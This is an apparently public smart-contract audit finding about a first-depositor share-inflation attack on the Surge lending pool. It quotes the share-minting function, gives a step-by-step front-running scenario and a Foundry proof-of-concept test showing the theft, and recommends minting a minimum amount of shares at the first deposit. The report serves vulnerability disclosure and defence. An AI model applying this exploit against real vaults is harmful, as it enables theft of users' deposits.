Juntao - First depositor can inflate share price and steal funds from other users

[github-actions]

Juntao

high

First depositor can inflate share price and steal funds from other users

Summary

Attacker can first deposit small amount of loan token to get pool tokens, and front-run other depositors' transactions and inflate pool token price by large "donation", thus attacker can withdraw more loan tokens than he initially owned.

Vulnerability Detail

User can get pool token by depositing loan tokens to Pool, the amount of minted pool token is calculated as:

function tokenToShares (uint _tokenAmount, uint _supplied, uint _sharesTotalSupply, bool roundUpCheck) internal pure returns (uint) {
    if(_supplied == 0) return _tokenAmount;
    uint shares = _tokenAmount * _sharesTotalSupply / _supplied;
    if(roundUpCheck && shares * _supplied < _tokenAmount * _sharesTotalSupply) shares++;
    return shares;
}

Let's assume:

1. Alice deployes a pool and submits transaction to deposit 2 ether;
2. Bob sees Alice's transaction in mempool and front-runs by first depositing 1 wei to the pool and then get 1 pool token;
3. Bob then transfers 1 ether loan token directly to the pool, inflates pool token price to (1 ether + 1);
4. Alice's deposit transaction gets confirmed and Alice get 1 pool token;
5. Bob withdraw from pool and get 1.5 ether loan tokens back, making 0.5 ether profit.

Test Code for PoC:

function testFirstDeposit() public {
    address alice = address(1);
    address bob = address(2);

    deal(address(loanToken), bob, 1 ether + 1);
    deal(address(loanToken), alice, 2 ether);

    vm.startPrank(bob);
    loanToken.approve(address(pool), 1);
    pool.deposit(1);
    loanToken.transfer(address(pool), 1 ether);
    vm.stopPrank();

    vm.startPrank(alice);
    loanToken.approve(address(pool), 2 ether);
    pool.deposit(2 ether);
    vm.stopPrank();

    vm.startPrank(bob);
    pool.withdraw(type(uint256).max);
    assertEq(loanToken.balanceOf(bob), 1500000000000000000);
    vm.stopPrank();
}

Impact

User's deposited loan tokens may be stolen by attacker.

Code Snippet

https://github.com/sherlock-audit/2023-02-surge/blob/main/surge-protocol-v1/src/Pool.sol#L197-L204
https://github.com/sherlock-audit/2023-02-surge/blob/main/surge-protocol-v1/src/Pool.sol#L304-L343

Tool used

Manual Review

Recommendation

Consider minting a minimal amount of pool tokens during the first deposit and sending them to zero address, this increases the cost of the attack. Uniswap V2 uses the value 1000 as it is small enough to don't hurt the first minter, while still increasing the cost of this attack by 1000x.

Duplicate of #125